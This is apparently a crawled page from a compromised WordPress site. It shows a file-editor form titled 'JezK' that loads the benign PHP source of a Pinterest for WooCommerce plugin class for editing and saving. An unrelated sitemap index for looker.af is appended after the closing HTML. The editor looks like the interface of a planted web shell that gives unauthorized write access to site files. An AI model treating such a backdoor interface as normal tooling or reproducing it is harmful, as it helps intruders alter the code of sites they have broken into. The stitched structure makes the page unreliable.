
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: AdsCreditCurrency.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php
/**
 * Pinterest for WooCommerce Ads Credit Currency
 *
 * @package     Pinterest_For_WooCommerce/Classes/
 * @version     1.3.9
 */

namespace Automattic\WooCommerce\Pinterest;

if ( ! defined( &#039;ABSPATH&#039; ) ) {
	exit;
}

/**
 * Class handling ad credits based on currency.
 */
class AdsCreditCurrency {

	/**
	 * @var array $currency_credits_map Mapping of currency to spend requirement and credit given.
	 */
	public static $currency_credits_map = array(
		&#039;USD&#039; =&gt; array( 15, 125 ),
		&#039;EUR&#039; =&gt; array( 15, 131 ),
		&#039;GBP&#039; =&gt; array( 13, 117 ),
		&#039;BRL&#039; =&gt; array( 80, 673 ),
		&#039;CAD&#039; =&gt; array( 20, 172 ),
		&#039;AUD&#039; =&gt; array( 23, 195 ),
		&#039;MXN&#039; =&gt; array( 305, 2548 ),
		&#039;ARS&#039; =&gt; array( 2198, 18320 ),
		&#039;CHF&#039; =&gt; array( 14, 124 ),
		&#039;CZK&#039; =&gt; array( 385, 3216 ),
		&#039;DKK&#039; =&gt; array( 116, 970 ),
		&#039;HUF&#039; =&gt; array( 6366, 53050 ),
		&#039;JPY&#039; =&gt; array( 2172, 18102 ),
		&#039;NOK&#039; =&gt; array( 162, 1353 ),
		&#039;NZD&#039; =&gt; array( 26, 222 ),
		&#039;PLN&#039; =&gt; array( 74, 624 ),
		&#039;RON&#039; =&gt; array( 77, 646 ),
		&#039;SEK&#039; =&gt; array( 170, 1424 ),
	);

	/**
	 * Get spend requirement and credits based on currency.
	 *
	 * @since 1.3.9
	 *
	 * @return array $result Amount to be spent, credits given and currency symbol.
	 */
	public static function get_currency_credits() {

		$currency                              = get_woocommerce_currency();
		$credits_array                         = ( ! array_key_exists( $currency, self::$currency_credits_map ) || &#039;USD&#039; === $currency ) ? self::$currency_credits_map[&#039;USD&#039;] : self::$currency_credits_map[ $currency ];
		list( $spend_require, $credits_given ) = $credits_array;

		$result = array(
			&#039;spendRequire&#039; =&gt; html_entity_decode( wp_strip_all_tags( wc_price( $spend_require, array( &#039;decimals&#039; =&gt; 0 ) ) ) ),
			&#039;creditsGiven&#039; =&gt; html_entity_decode( wp_strip_all_tags( wc_price( $credits_given, array( &#039;decimals&#039; =&gt; 0 ) ) ) ),
		);

		return $result;
	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
